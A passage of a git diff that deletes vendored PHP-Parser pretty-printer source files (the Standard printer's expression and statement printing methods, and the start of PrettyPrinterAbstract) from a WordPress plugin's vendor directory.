$node->left, ' >> ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Pow(BinaryOp\Pow $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Pow::class, $node->left, ' ** ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_LogicalAnd(BinaryOp\LogicalAnd $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\LogicalAnd::class, $node->left, ' and ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_LogicalOr(BinaryOp\LogicalOr $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\LogicalOr::class, $node->left, ' or ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_LogicalXor(BinaryOp\LogicalXor $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\LogicalXor::class, $node->left, ' xor ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Equal(BinaryOp\Equal $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Equal::class, $node->left, ' == ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_NotEqual(BinaryOp\NotEqual $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\NotEqual::class, $node->left, ' != ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Identical(BinaryOp\Identical $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Identical::class, $node->left, ' === ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_NotIdentical(BinaryOp\NotIdentical $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\NotIdentical::class, $node->left, ' !== ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Spaceship(BinaryOp\Spaceship $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Spaceship::class, $node->left, ' <=> ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Greater(BinaryOp\Greater $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Greater::class, $node->left, ' > ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_GreaterOrEqual(BinaryOp\GreaterOrEqual $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\GreaterOrEqual::class, $node->left, ' >= ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Smaller(BinaryOp\Smaller $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Smaller::class, $node->left, ' < ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_SmallerOrEqual(BinaryOp\SmallerOrEqual $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\SmallerOrEqual::class, $node->left, ' <= ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Coalesce(BinaryOp\Coalesce $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Coalesce::class, $node->left, ' ?? ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_Instanceof(Expr\Instanceof_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPostfixOp( - Expr\Instanceof_::class, $node->expr, - ' instanceof ' . $this->pNewOperand($node->class), - $precedence, $lhsPrecedence); - } - - // Unary expressions - - protected function pExpr_BooleanNot(Expr\BooleanNot $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\BooleanNot::class, '!', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_BitwiseNot(Expr\BitwiseNot $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\BitwiseNot::class, '~', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_UnaryMinus(Expr\UnaryMinus $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\UnaryMinus::class, '-', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_UnaryPlus(Expr\UnaryPlus $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\UnaryPlus::class, '+', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_PreInc(Expr\PreInc $node): string { - return '++' . $this->p($node->var); - } - - protected function pExpr_PreDec(Expr\PreDec $node): string { - return '--' . $this->p($node->var); - } - - protected function pExpr_PostInc(Expr\PostInc $node): string { - return $this->p($node->var) . '++'; - } - - protected function pExpr_PostDec(Expr\PostDec $node): string { - return $this->p($node->var) . '--'; - } - - protected function pExpr_ErrorSuppress(Expr\ErrorSuppress $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\ErrorSuppress::class, '@', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_YieldFrom(Expr\YieldFrom $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\YieldFrom::class, 'yield from ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Print(Expr\Print_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\Print_::class, 'print ', $node->expr, $precedence, $lhsPrecedence); - } - - // Casts - - protected function pExpr_Cast_Int(Cast\Int_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Cast\Int_::class, '(int) ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Cast_Double(Cast\Double $node, int $precedence, int $lhsPrecedence): string { - $kind = $node->getAttribute('kind', Cast\Double::KIND_DOUBLE); - if ($kind === Cast\Double::KIND_DOUBLE) { - $cast = '(double)'; - } elseif ($kind === Cast\Double::KIND_FLOAT) { - $cast = '(float)'; - } else { - assert($kind === Cast\Double::KIND_REAL); - $cast = '(real)'; - } - return $this->pPrefixOp(Cast\Double::class, $cast . ' ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Cast_String(Cast\String_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Cast\String_::class, '(string) ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Cast_Array(Cast\Array_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Cast\Array_::class, '(array) ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Cast_Object(Cast\Object_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Cast\Object_::class, '(object) ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Cast_Bool(Cast\Bool_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Cast\Bool_::class, '(bool) ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Cast_Unset(Cast\Unset_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Cast\Unset_::class, '(unset) ', $node->expr, $precedence, $lhsPrecedence); - } - - // Function calls and similar constructs - - protected function pExpr_FuncCall(Expr\FuncCall $node): string { - return $this->pCallLhs($node->name) - . '(' . $this->pMaybeMultiline($node->args) . ')'; - } - - protected function pExpr_MethodCall(Expr\MethodCall $node): string { - return $this->pDereferenceLhs($node->var) . '->' . $this->pObjectProperty($node->name) - . '(' . $this->pMaybeMultiline($node->args) . ')'; - } - - protected function pExpr_NullsafeMethodCall(Expr\NullsafeMethodCall $node): string { - return $this->pDereferenceLhs($node->var) . '?->' . $this->pObjectProperty($node->name) - . '(' . $this->pMaybeMultiline($node->args) . ')'; - } - - protected function pExpr_StaticCall(Expr\StaticCall $node): string { - return $this->pStaticDereferenceLhs($node->class) . '::' - . ($node->name instanceof Expr - ? ($node->name instanceof Expr\Variable - ? $this->p($node->name) - : '{' . $this->p($node->name) . '}') - : $node->name) - . '(' . $this->pMaybeMultiline($node->args) . ')'; - } - - protected function pExpr_Empty(Expr\Empty_ $node): string { - return 'empty(' . $this->p($node->expr) . ')'; - } - - protected function pExpr_Isset(Expr\Isset_ $node): string { - return 'isset(' . $this->pCommaSeparated($node->vars) . ')'; - } - - protected function pExpr_Eval(Expr\Eval_ $node): string { - return 'eval(' . $this->p($node->expr) . ')'; - } - - protected function pExpr_Include(Expr\Include_ $node, int $precedence, int $lhsPrecedence): string { - static $map = [ - Expr\Include_::TYPE_INCLUDE => 'include', - Expr\Include_::TYPE_INCLUDE_ONCE => 'include_once', - Expr\Include_::TYPE_REQUIRE => 'require', - Expr\Include_::TYPE_REQUIRE_ONCE => 'require_once', - ]; - - return $this->pPrefixOp(Expr\Include_::class, $map[$node->type] . ' ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_List(Expr\List_ $node): string { - $syntax = $node->getAttribute('kind', - $this->phpVersion->supportsShortArrayDestructuring() ? Expr\List_::KIND_ARRAY : Expr\List_::KIND_LIST); - if ($syntax === Expr\List_::KIND_ARRAY) { - return '[' . $this->pMaybeMultiline($node->items, true) . ']'; - } else { - return 'list(' . $this->pMaybeMultiline($node->items, true) . ')'; - } - } - - // Other - - protected function pExpr_Error(Expr\Error $node): string { - throw new \LogicException('Cannot pretty-print AST with Error nodes'); - } - - protected function pExpr_Variable(Expr\Variable $node): string { - if ($node->name instanceof Expr) { - return '${' . $this->p($node->name) . '}'; - } else { - return '$' . $node->name; - } - } - - protected function pExpr_Array(Expr\Array_ $node): string { - $syntax = $node->getAttribute('kind', - $this->shortArraySyntax ? Expr\Array_::KIND_SHORT : Expr\Array_::KIND_LONG); - if ($syntax === Expr\Array_::KIND_SHORT) { - return '[' . $this->pMaybeMultiline($node->items, true) . ']'; - } else { - return 'array(' . $this->pMaybeMultiline($node->items, true) . ')'; - } - } - - protected function pKey(?Node $node): string { - if ($node === null) { - return ''; - } - - // => is not really an operator and does not typically participate in precedence resolution. - // However, there is an exception if yield expressions with keys are involved: - // [yield $a => $b] is interpreted as [(yield $a => $b)], so we need to ensure that - // [(yield $a) => $b] is printed with parentheses. We approximate this by lowering the LHS - // precedence to that of yield (which will also print unnecessary parentheses for rare low - // precedence unary operators like include). - $yieldPrecedence = $this->precedenceMap[Expr\Yield_::class][0]; - return $this->p($node, self::MAX_PRECEDENCE, $yieldPrecedence) . ' => '; - } - - protected function pArrayItem(Node\ArrayItem $node): string { - return $this->pKey($node->key) - . ($node->byRef ? '&' : '') - . ($node->unpack ? '...' : '') - . $this->p($node->value); - } - - protected function pExpr_ArrayDimFetch(Expr\ArrayDimFetch $node): string { - return $this->pDereferenceLhs($node->var) - . '[' . (null !== $node->dim ? $this->p($node->dim) : '') . ']'; - } - - protected function pExpr_ConstFetch(Expr\ConstFetch $node): string { - return $this->p($node->name); - } - - protected function pExpr_ClassConstFetch(Expr\ClassConstFetch $node): string { - return $this->pStaticDereferenceLhs($node->class) . '::' . $this->pObjectProperty($node->name); - } - - protected function pExpr_PropertyFetch(Expr\PropertyFetch $node): string { - return $this->pDereferenceLhs($node->var) . '->' . $this->pObjectProperty($node->name); - } - - protected function pExpr_NullsafePropertyFetch(Expr\NullsafePropertyFetch $node): string { - return $this->pDereferenceLhs($node->var) . '?->' . $this->pObjectProperty($node->name); - } - - protected function pExpr_StaticPropertyFetch(Expr\StaticPropertyFetch $node): string { - return $this->pStaticDereferenceLhs($node->class) . '::$' . $this->pObjectProperty($node->name); - } - - protected function pExpr_ShellExec(Expr\ShellExec $node): string { - return '`' . $this->pEncapsList($node->parts, '`') . '`'; - } - - protected function pExpr_Closure(Expr\Closure $node): string { - return $this->pAttrGroups($node->attrGroups, true) - . $this->pStatic($node->static) - . 'function ' . ($node->byRef ? '&' : '') - . '(' . $this->pMaybeMultiline($node->params, $this->phpVersion->supportsTrailingCommaInParamList()) . ')' - . (!empty($node->uses) ? ' use (' . $this->pCommaSeparated($node->uses) . ')' : '') - . (null !== $node->returnType ? ': ' . $this->p($node->returnType) : '') - . ' {' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pExpr_Match(Expr\Match_ $node): string { - return 'match (' . $this->p($node->cond) . ') {' - . $this->pCommaSeparatedMultiline($node->arms, true) - . $this->nl - . '}'; - } - - protected function pMatchArm(Node\MatchArm $node): string { - $result = ''; - if ($node->conds) { - for ($i = 0, $c = \count($node->conds); $i + 1 < $c; $i++) { - $result .= $this->p($node->conds[$i]) . ', '; - } - $result .= $this->pKey($node->conds[$i]); - } else { - $result = 'default => '; - } - return $result . $this->p($node->body); - } - - protected function pExpr_ArrowFunction(Expr\ArrowFunction $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp( - Expr\ArrowFunction::class, - $this->pAttrGroups($node->attrGroups, true) - . $this->pStatic($node->static) - . 'fn' . ($node->byRef ? '&' : '') - . '(' . $this->pMaybeMultiline($node->params, $this->phpVersion->supportsTrailingCommaInParamList()) . ')' - . (null !== $node->returnType ? ': ' . $this->p($node->returnType) : '') - . ' => ', - $node->expr, $precedence, $lhsPrecedence); - } - - protected function pClosureUse(Node\ClosureUse $node): string { - return ($node->byRef ? '&' : '') . $this->p($node->var); - } - - protected function pExpr_New(Expr\New_ $node): string { - if ($node->class instanceof Stmt\Class_) { - $args = $node->args ? '(' . $this->pMaybeMultiline($node->args) . ')' : ''; - return 'new ' . $this->pClassCommon($node->class, $args); - } - return 'new ' . $this->pNewOperand($node->class) - . '(' . $this->pMaybeMultiline($node->args) . ')'; - } - - protected function pExpr_Clone(Expr\Clone_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\Clone_::class, 'clone ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Ternary(Expr\Ternary $node, int $precedence, int $lhsPrecedence): string { - // a bit of cheating: we treat the ternary as a binary op where the ?...: part is the operator. - // this is okay because the part between ? and : never needs parentheses. - return $this->pInfixOp(Expr\Ternary::class, - $node->cond, ' ?' . (null !== $node->if ? ' ' . $this->p($node->if) . ' ' : '') . ': ', $node->else, - $precedence, $lhsPrecedence - ); - } - - protected function pExpr_Exit(Expr\Exit_ $node): string { - $kind = $node->getAttribute('kind', Expr\Exit_::KIND_DIE); - return ($kind === Expr\Exit_::KIND_EXIT ? 'exit' : 'die') - . (null !== $node->expr ? '(' . $this->p($node->expr) . ')' : ''); - } - - protected function pExpr_Throw(Expr\Throw_ $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\Throw_::class, 'throw ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_Yield(Expr\Yield_ $node, int $precedence, int $lhsPrecedence): string { - if ($node->value === null) { - $opPrecedence = $this->precedenceMap[Expr\Yield_::class][0]; - return $opPrecedence >= $lhsPrecedence ? '(yield)' : 'yield'; - } else { - if (!$this->phpVersion->supportsYieldWithoutParentheses()) { - return '(yield ' . $this->pKey($node->key) . $this->p($node->value) . ')'; - } - return $this->pPrefixOp( - Expr\Yield_::class, 'yield ' . $this->pKey($node->key), - $node->value, $precedence, $lhsPrecedence); - } - } - - // Declarations - - protected function pStmt_Namespace(Stmt\Namespace_ $node): string { - if ($this->canUseSemicolonNamespaces) { - return 'namespace ' . $this->p($node->name) . ';' - . $this->nl . $this->pStmts($node->stmts, false); - } else { - return 'namespace' . (null !== $node->name ? ' ' . $this->p($node->name) : '') - . ' {' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - } - - protected function pStmt_Use(Stmt\Use_ $node): string { - return 'use ' . $this->pUseType($node->type) - . $this->pCommaSeparated($node->uses) . ';'; - } - - protected function pStmt_GroupUse(Stmt\GroupUse $node): string { - return 'use ' . $this->pUseType($node->type) . $this->pName($node->prefix) - . '\{' . $this->pCommaSeparated($node->uses) . '};'; - } - - protected function pUseItem(Node\UseItem $node): string { - return $this->pUseType($node->type) . $this->p($node->name) - . (null !== $node->alias ? ' as ' . $node->alias : ''); - } - - protected function pUseType(int $type): string { - return $type === Stmt\Use_::TYPE_FUNCTION ? 'function ' - : ($type === Stmt\Use_::TYPE_CONSTANT ? 'const ' : ''); - } - - protected function pStmt_Interface(Stmt\Interface_ $node): string { - return $this->pAttrGroups($node->attrGroups) - . 'interface ' . $node->name - . (!empty($node->extends) ? ' extends ' . $this->pCommaSeparated($node->extends) : '') - . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Enum(Stmt\Enum_ $node): string { - return $this->pAttrGroups($node->attrGroups) - . 'enum ' . $node->name - . ($node->scalarType ? ' : ' . $this->p($node->scalarType) : '') - . (!empty($node->implements) ? ' implements ' . $this->pCommaSeparated($node->implements) : '') - . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Class(Stmt\Class_ $node): string { - return $this->pClassCommon($node, ' ' . $node->name); - } - - protected function pStmt_Trait(Stmt\Trait_ $node): string { - return $this->pAttrGroups($node->attrGroups) - . 'trait ' . $node->name - . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_EnumCase(Stmt\EnumCase $node): string { - return $this->pAttrGroups($node->attrGroups) - . 'case ' . $node->name - . ($node->expr ? ' = ' . $this->p($node->expr) : '') - . ';'; - } - - protected function pStmt_TraitUse(Stmt\TraitUse $node): string { - return 'use ' . $this->pCommaSeparated($node->traits) - . (empty($node->adaptations) - ? ';' - : ' {' . $this->pStmts($node->adaptations) . $this->nl . '}'); - } - - protected function pStmt_TraitUseAdaptation_Precedence(Stmt\TraitUseAdaptation\Precedence $node): string { - return $this->p($node->trait) . '::' . $node->method - . ' insteadof ' . $this->pCommaSeparated($node->insteadof) . ';'; - } - - protected function pStmt_TraitUseAdaptation_Alias(Stmt\TraitUseAdaptation\Alias $node): string { - return (null !== $node->trait ? $this->p($node->trait) . '::' : '') - . $node->method . ' as' - . (null !== $node->newModifier ? ' ' . rtrim($this->pModifiers($node->newModifier), ' ') : '') - . (null !== $node->newName ? ' ' . $node->newName : '') - . ';'; - } - - protected function pStmt_Property(Stmt\Property $node): string { - return $this->pAttrGroups($node->attrGroups) - . (0 === $node->flags ? 'var ' : $this->pModifiers($node->flags)) - . ($node->type ? $this->p($node->type) . ' ' : '') - . $this->pCommaSeparated($node->props) - . ($node->hooks ? ' {' . $this->pStmts($node->hooks) . $this->nl . '}' : ';'); - } - - protected function pPropertyItem(Node\PropertyItem $node): string { - return '$' . $node->name - . (null !== $node->default ? ' = ' . $this->p($node->default) : ''); - } - - protected function pPropertyHook(Node\PropertyHook $node): string { - return $this->pAttrGroups($node->attrGroups) - . $this->pModifiers($node->flags) - . ($node->byRef ? '&' : '') . $node->name - . ($node->params ? '(' . $this->pMaybeMultiline($node->params, $this->phpVersion->supportsTrailingCommaInParamList()) . ')' : '') - . (\is_array($node->body) ? ' {' . $this->pStmts($node->body) . $this->nl . '}' - : ($node->body !== null ? ' => ' . $this->p($node->body) : '') . ';'); - } - - protected function pStmt_ClassMethod(Stmt\ClassMethod $node): string { - return $this->pAttrGroups($node->attrGroups) - . $this->pModifiers($node->flags) - . 'function ' . ($node->byRef ? '&' : '') . $node->name - . '(' . $this->pMaybeMultiline($node->params, $this->phpVersion->supportsTrailingCommaInParamList()) . ')' - . (null !== $node->returnType ? ': ' . $this->p($node->returnType) : '') - . (null !== $node->stmts - ? $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}' - : ';'); - } - - protected function pStmt_ClassConst(Stmt\ClassConst $node): string { - return $this->pAttrGroups($node->attrGroups) - . $this->pModifiers($node->flags) - . 'const ' - . (null !== $node->type ? $this->p($node->type) . ' ' : '') - . $this->pCommaSeparated($node->consts) . ';'; - } - - protected function pStmt_Function(Stmt\Function_ $node): string { - return $this->pAttrGroups($node->attrGroups) - . 'function ' . ($node->byRef ? '&' : '') . $node->name - . '(' . $this->pMaybeMultiline($node->params, $this->phpVersion->supportsTrailingCommaInParamList()) . ')' - . (null !== $node->returnType ? ': ' . $this->p($node->returnType) : '') - . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Const(Stmt\Const_ $node): string { - return 'const ' . $this->pCommaSeparated($node->consts) . ';'; - } - - protected function pStmt_Declare(Stmt\Declare_ $node): string { - return 'declare (' . $this->pCommaSeparated($node->declares) . ')' - . (null !== $node->stmts ? ' {' . $this->pStmts($node->stmts) . $this->nl . '}' : ';'); - } - - protected function pDeclareItem(Node\DeclareItem $node): string { - return $node->key . '=' . $this->p($node->value); - } - - // Control flow - - protected function pStmt_If(Stmt\If_ $node): string { - return 'if (' . $this->p($node->cond) . ') {' - . $this->pStmts($node->stmts) . $this->nl . '}' - . ($node->elseifs ? ' ' . $this->pImplode($node->elseifs, ' ') : '') - . (null !== $node->else ? ' ' . $this->p($node->else) : ''); - } - - protected function pStmt_ElseIf(Stmt\ElseIf_ $node): string { - return 'elseif (' . $this->p($node->cond) . ') {' - . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Else(Stmt\Else_ $node): string { - if (\count($node->stmts) === 1 && $node->stmts[0] instanceof Stmt\If_) { - // Print as "else if" rather than "else { if }" - return 'else ' . $this->p($node->stmts[0]); - } - return 'else {' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_For(Stmt\For_ $node): string { - return 'for (' - . $this->pCommaSeparated($node->init) . ';' . (!empty($node->cond) ? ' ' : '') - . $this->pCommaSeparated($node->cond) . ';' . (!empty($node->loop) ? ' ' : '') - . $this->pCommaSeparated($node->loop) - . ') {' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Foreach(Stmt\Foreach_ $node): string { - return 'foreach (' . $this->p($node->expr) . ' as ' - . (null !== $node->keyVar ? $this->p($node->keyVar) . ' => ' : '') - . ($node->byRef ? '&' : '') . $this->p($node->valueVar) . ') {' - . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_While(Stmt\While_ $node): string { - return 'while (' . $this->p($node->cond) . ') {' - . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Do(Stmt\Do_ $node): string { - return 'do {' . $this->pStmts($node->stmts) . $this->nl - . '} while (' . $this->p($node->cond) . ');'; - } - - protected function pStmt_Switch(Stmt\Switch_ $node): string { - return 'switch (' . $this->p($node->cond) . ') {' - . $this->pStmts($node->cases) . $this->nl . '}'; - } - - protected function pStmt_Case(Stmt\Case_ $node): string { - return (null !== $node->cond ? 'case ' . $this->p($node->cond) : 'default') . ':' - . $this->pStmts($node->stmts); - } - - protected function pStmt_TryCatch(Stmt\TryCatch $node): string { - return 'try {' . $this->pStmts($node->stmts) . $this->nl . '}' - . ($node->catches ? ' ' . $this->pImplode($node->catches, ' ') : '') - . ($node->finally !== null ? ' ' . $this->p($node->finally) : ''); - } - - protected function pStmt_Catch(Stmt\Catch_ $node): string { - return 'catch (' . $this->pImplode($node->types, '|') - . ($node->var !== null ? ' ' . $this->p($node->var) : '') - . ') {' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Finally(Stmt\Finally_ $node): string { - return 'finally {' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pStmt_Break(Stmt\Break_ $node): string { - return 'break' . ($node->num !== null ? ' ' . $this->p($node->num) : '') . ';'; - } - - protected function pStmt_Continue(Stmt\Continue_ $node): string { - return 'continue' . ($node->num !== null ? ' ' . $this->p($node->num) : '') . ';'; - } - - protected function pStmt_Return(Stmt\Return_ $node): string { - return 'return' . (null !== $node->expr ? ' ' . $this->p($node->expr) : '') . ';'; - } - - protected function pStmt_Label(Stmt\Label $node): string { - return $node->name . ':'; - } - - protected function pStmt_Goto(Stmt\Goto_ $node): string { - return 'goto ' . $node->name . ';'; - } - - // Other - - protected function pStmt_Expression(Stmt\Expression $node): string { - return $this->p($node->expr) . ';'; - } - - protected function pStmt_Echo(Stmt\Echo_ $node): string { - return 'echo ' . $this->pCommaSeparated($node->exprs) . ';'; - } - - protected function pStmt_Static(Stmt\Static_ $node): string { - return 'static ' . $this->pCommaSeparated($node->vars) . ';'; - } - - protected function pStmt_Global(Stmt\Global_ $node): string { - return 'global ' . $this->pCommaSeparated($node->vars) . ';'; - } - - protected function pStaticVar(Node\StaticVar $node): string { - return $this->p($node->var) - . (null !== $node->default ? ' = ' . $this->p($node->default) : ''); - } - - protected function pStmt_Unset(Stmt\Unset_ $node): string { - return 'unset(' . $this->pCommaSeparated($node->vars) . ');'; - } - - protected function pStmt_InlineHTML(Stmt\InlineHTML $node): string { - $newline = $node->getAttribute('hasLeadingNewline', true) ? $this->newline : ''; - return '?>' . $newline . $node->value . 'remaining; - } - - protected function pStmt_Nop(Stmt\Nop $node): string { - return ''; - } - - protected function pStmt_Block(Stmt\Block $node): string { - return '{' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - // Helpers - - protected function pClassCommon(Stmt\Class_ $node, string $afterClassToken): string { - return $this->pAttrGroups($node->attrGroups, $node->name === null) - . $this->pModifiers($node->flags) - . 'class' . $afterClassToken - . (null !== $node->extends ? ' extends ' . $this->p($node->extends) : '') - . (!empty($node->implements) ? ' implements ' . $this->pCommaSeparated($node->implements) : '') - . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; - } - - protected function pObjectProperty(Node $node): string { - if ($node instanceof Expr) { - return '{' . $this->p($node) . '}'; - } else { - assert($node instanceof Node\Identifier); - return $node->name; - } - } - - /** @param (Expr|Node\InterpolatedStringPart)[] $encapsList */ - protected function pEncapsList(array $encapsList, ?string $quote): string { - $return = ''; - foreach ($encapsList as $element) { - if ($element instanceof Node\InterpolatedStringPart) { - $return .= $this->escapeString($element->value, $quote); - } else { - $return .= '{' . $this->p($element) . '}'; - } - } - - return $return; - } - - protected function pSingleQuotedString(string $string): string { - // It is idiomatic to only escape backslashes when necessary, i.e. when followed by ', \ or - // the end of the string ('Foo\Bar' instead of 'Foo\\Bar'). However, we also don't want to - // produce an odd number of backslashes, so '\\\\a' should not get rendered as '\\\a', even - // though that would be legal. - $regex = '/\'|\\\\(?=[\'\\\\]|$)|(?<=\\\\)\\\\/'; - return '\'' . preg_replace($regex, '\\\\$0', $string) . '\''; - } - - protected function escapeString(string $string, ?string $quote): string { - if (null === $quote) { - // For doc strings, don't escape newlines - $escaped = addcslashes($string, "\t\f\v$\\"); - // But do escape isolated \r. Combined with the terminating newline, it might get - // interpreted as \r\n and dropped from the string contents. - $escaped = preg_replace('/\r(?!\n)/', '\\r', $escaped); - if ($this->phpVersion->supportsFlexibleHeredoc()) { - $escaped = $this->indentString($escaped); - } - } else { - $escaped = addcslashes($string, "\n\r\t\f\v$" . $quote . "\\"); - } - - // Escape control characters and non-UTF-8 characters. - // Regex based on https://stackoverflow.com/a/11709412/385378. - $regex = '/( - [\x00-\x08\x0E-\x1F] # Control characters - | [\xC0-\xC1] # Invalid UTF-8 Bytes - | [\xF5-\xFF] # Invalid UTF-8 Bytes - | \xE0(?=[\x80-\x9F]) # Overlong encoding of prior code point - | \xF0(?=[\x80-\x8F]) # Overlong encoding of prior code point - | [\xC2-\xDF](?![\x80-\xBF]) # Invalid UTF-8 Sequence Start - | [\xE0-\xEF](?![\x80-\xBF]{2}) # Invalid UTF-8 Sequence Start - | [\xF0-\xF4](?![\x80-\xBF]{3}) # Invalid UTF-8 Sequence Start - | (?<=[\x00-\x7F\xF5-\xFF])[\x80-\xBF] # Invalid UTF-8 Sequence Middle - | (? $part) { - if ($part instanceof Node\InterpolatedStringPart - && $this->containsEndLabel($this->escapeString($part->value, null), $label, $i === 0) - ) { - return true; - } - } - return false; - } - - protected function pDereferenceLhs(Node $node): string { - if (!$this->dereferenceLhsRequiresParens($node)) { - return $this->p($node); - } else { - return '(' . $this->p($node) . ')'; - } - } - - protected function pStaticDereferenceLhs(Node $node): string { - if (!$this->staticDereferenceLhsRequiresParens($node)) { - return $this->p($node); - } else { - return '(' . $this->p($node) . ')'; - } - } - - protected function pCallLhs(Node $node): string { - if (!$this->callLhsRequiresParens($node)) { - return $this->p($node); - } else { - return '(' . $this->p($node) . ')'; - } - } - - protected function pNewOperand(Node $node): string { - if (!$this->newOperandRequiresParens($node)) { - return $this->p($node); - } else { - return '(' . $this->p($node) . ')'; - } - } - - /** - * @param Node[] $nodes - */ - protected function hasNodeWithComments(array $nodes): bool { - foreach ($nodes as $node) { - if ($node && $node->getComments()) { - return true; - } - } - return false; - } - - /** @param Node[] $nodes */ - protected function pMaybeMultiline(array $nodes, bool $trailingComma = false): string { - if (!$this->hasNodeWithComments($nodes)) { - return $this->pCommaSeparated($nodes); - } else { - return $this->pCommaSeparatedMultiline($nodes, $trailingComma) . $this->nl; - } - } - - /** @param Node\AttributeGroup[] $nodes */ - protected function pAttrGroups(array $nodes, bool $inline = false): string { - $result = ''; - $sep = $inline ? ' ' : $this->nl; - foreach ($nodes as $node) { - $result .= $this->p($node) . $sep; - } - - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinterAbstract.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinterAbstract.php deleted file mode 100644 index d32be248..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinterAbstract.php +++ /dev/null @@ -1,1693 +0,0 @@ - */ - protected array $precedenceMap = [ - // [precedence, precedenceLHS, precedenceRHS] - // Where the latter two are the precedences to use for the LHS and RHS of a binary operator, - // where 1 is added to one of the sides depending on associativity. This information is not - // used for unary operators and set to -1. - Expr\Clone_::class => [-10, 0, 1], - BinaryOp\Pow::class => [ 0, 0, 1], - Expr\BitwiseNot::class => [ 10, -1, 